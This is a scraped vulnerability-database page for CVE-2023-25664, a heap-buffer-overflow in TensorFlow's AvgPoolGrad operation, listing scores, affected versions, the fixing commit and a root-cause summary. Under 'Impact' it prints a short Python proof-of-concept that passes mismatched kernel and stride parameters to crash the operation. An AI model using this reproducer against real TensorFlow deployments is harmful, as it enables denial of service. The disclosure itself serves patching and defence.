7.5

CVSS Score

3.1

-

CVSS Score

Basic Information

CVE ID

CVE-2023-25664

GHSA ID

GHSA-6hg6-5c2q-7rcr

EPSS Score

0.21645%

CWE

CWE-120

Published

3/24/2023

Updated

3/27/2023

KEV Status

Technology

Python

Basic Information

CVE ID

GHSA ID

EPSS Score

CWE

Published

Updated

KEV Status

Technology

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CVE-2023-25664

CVE-2023-25664: TensorFlow has Heap-buffer-overflow in AvgPoolGrad

Impact

import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
    ksize = [1, 40, 128, 1]
    strides = [1, 128, 128, 30]
    padding = "SAME"
    data_format = "NHWC"
    orig_input_shape = [11, 9, 78, 9]
    grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
    res = tf.raw_ops.AvgPoolGrad(
        ksize=ksize,
        strides=strides,
        padding=padding,
        data_format=data_format,
        orig_input_shape=orig_input_shape,
        grad=grad,
    )

Patches

We have patched the issue in GitHub commit ddaac2bdd099bec5d7923dea45276a7558217e5b.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by evn@google.com

(GitHub Advisory)

Miggo Vulnerability Database

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CVE-2023-25664

CVE-2023-25664:

7.5

CVSS Score

3.1

-

CVSS Score

Basic Information

CVE ID

CVE-2023-25664

GHSA ID

GHSA-6hg6-5c2q-7rcr

EPSS Score

0.21645%

CWE

CWE-120

Published

3/24/2023

Updated

3/27/2023

KEV Status

Technology

Python

Basic Information

CVE ID

GHSA ID

EPSS Score

CWE

Published

Updated

KEV Status

Technology

Technical Details

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
tensorflow	pip	< 2.11.1	2.11.1
tensorflow-cpu	pip	< 2.11.1	2.11.1

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability stems from missing input validation in the AvgPoolGrad implementation. The commit ddaac2b added validation loops using GetBroadcastSize to check kernel/stride compatibility before buffer operations. The original code proceeded to memory operations without these checks, allowing invalid parameter combinations to cause buffer overflows. The test case added in pooling_ops_test.py specifically targets stride validation, and the CWE-122 (heap overflow) classification confirms memory safety issues in gradient calculation.

Vulnerable functions

Only Mi**o us*rs **n s** t*is s**tion

WAF Protection Rules

WAF Rule

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Reasoning

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7.5

-

Basic Information

Basic Information

Concerned about an active attack path?

CVE-2023-25664: TensorFlow has Heap-buffer-overflow in AvgPoolGrad

Impact

Patches

For more information

Attribution

CVE-2023-25664:

7.5

-

Basic Information

Basic Information

Technical Details

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

WAF Protection Rules

WAF Rule

Reasoning

Vulnerability IntelligenceMiggo AI

7.5

7.5

CVE-2023-25664: TensorFlow has Heap-buffer-overflow in AvgPoolGrad

Impact

Patches

For more information

Attribution

Basic Information

Basic Information

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

WAF Protection Rules

WAF Rule

Reasoning

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI